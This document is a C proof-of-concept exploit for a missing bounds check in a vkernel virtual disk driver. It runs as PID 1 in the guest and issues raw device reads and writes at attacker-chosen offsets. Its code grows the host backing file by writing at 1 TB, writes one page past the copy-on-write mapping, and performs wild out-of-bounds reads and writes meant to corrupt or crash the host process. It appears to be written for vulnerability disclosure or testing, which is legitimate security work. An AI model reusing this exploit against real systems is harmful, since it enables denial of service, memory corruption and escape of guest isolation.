DF-5010 / vkd_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-5010 โ vkernel vdisk (vkd) missing bounds check โ OOB read/write * in the vkernel host process (COW mode) + unbounded backing-file growth * (non-COW mode). * * Runs as PID 1 inside the vkernel guest (started with: * ./vkernel64 -m 256M -r root.img -r plain.img -R cow.img \ * -e init_path=/poc * ) which places: * /dev/vkd1 = plain.img (non-COW, 16 MB) -> growth demo * /dev/vkd2 = cow.img (COW, 8 MB) -> OOB bcopy demo * * Everything is done as raw-device pwrite/pread on the whole-disk nodes * so the request goes physio -> vkdstrategy -> vkd_doio with the * attacker-chosen file offset copied verbatim into bio_offset * (sys/kern/kern_physio.c:69). vkd_doio never checks * bio_offset + b_bcount against sc->size (sys/dev/virtual/vkernel/disk/ * vdisk.c:303-347). */ #include <sys/mount.h> #include <sys/types.h> #include <fcntl.h> #include <stdarg.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #define COWSZ (8 * 1024 * 1024) /* cow.img size, bytes */ static void logmark(const char *fmt, ...) { char buf[128]; va_list ap; int n; va_start(ap, fmt); n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); if (n > 0) write(2, buf, n); /* unbuffered: must survive the crash */ } int main(void) { int fd, n; char buf[16]; /* * We are PID 1; rc(8) never ran, so devfs is not mounted yet. * Mount it so /dev/vkd* nodes exist. */ mkdir("/dev", 0755); if (mount("devfs", "/dev", 0, NULL) < 0) logmark("[-] mount devfs failed errno=%d\n", errno); else logmark("[+] devfs mounted\n"); /* -------- 1) non-COW disk: unbounded backing-file growth -------- */ fd = open("/dev/vkd1", O_RDWR); if (fd < 0) { logmark("[-] open /dev/vkd1 failed errno=%d\n", errno); } else { logmark("[+] vkd1 (non-COW) open; pwrite 4 bytes @1TB\n", 0); n = pwrite(fd, "GROW", 4, 1LL << 40); logmark("[+] vkd1 pwrite @1TB returned %ld " "(0 = quietly grew the HOST backing file)\n", (long)n); close(fd); } /* -------- 2) COW disk: OOB bcopy relative to sc->map_buf -------- */ fd = open("/dev/vkd2", O_RDWR); if (fd < 0) { logmark("[-] open /dev/vkd2 failed errno=%d\n", errno); _exit(1); } logmark("[+] vkd2 (COW, map_buf armed) open\n", 0); /* sanity: in-bounds write at offset 0 */ n = pwrite(fd, "INBD", 4, 0); logmark("[+] in-bounds write returned %ld\n", (long)n); /* near-end OOB write: exactly one page past the mapping end */ logmark("[*] near-end OOB write @size+4096 ...\n", 0); n = pwrite(fd, "NEAR", 4, (long)COWSZ + 4096); logmark("[+] near-end OOB write returned %ld " "(no fault => silent corruption of adjacent host mapping)\n", (long)n); /* far OOB read: bcopy FROM map_buf + 1TB (wild source) */ logmark("[*] far OOB READ @1TB now; vkernel host process should " "fault...\n", 0); n = pread(fd, buf, 4, 1LL << 40); logmark("[+] far OOB read returned %ld (SURVIVED?!)\n", (long)n); /* far OOB write: bcopy TO map_buf + 1TB (wild destination) */ logmark("[*] far OOB WRITE @1TB now; vkernel host process should " "fault...\n", 0); n = pwrite(fd, "KILL", 4, 1LL << 40); logmark("[+] far OOB write returned %ld (SURVIVED?!)\n", (long)n); logmark("[-] vkernel survived all OOB ops โ check whether this " "build really used -R (COW)\n", 0); _exit(0); } |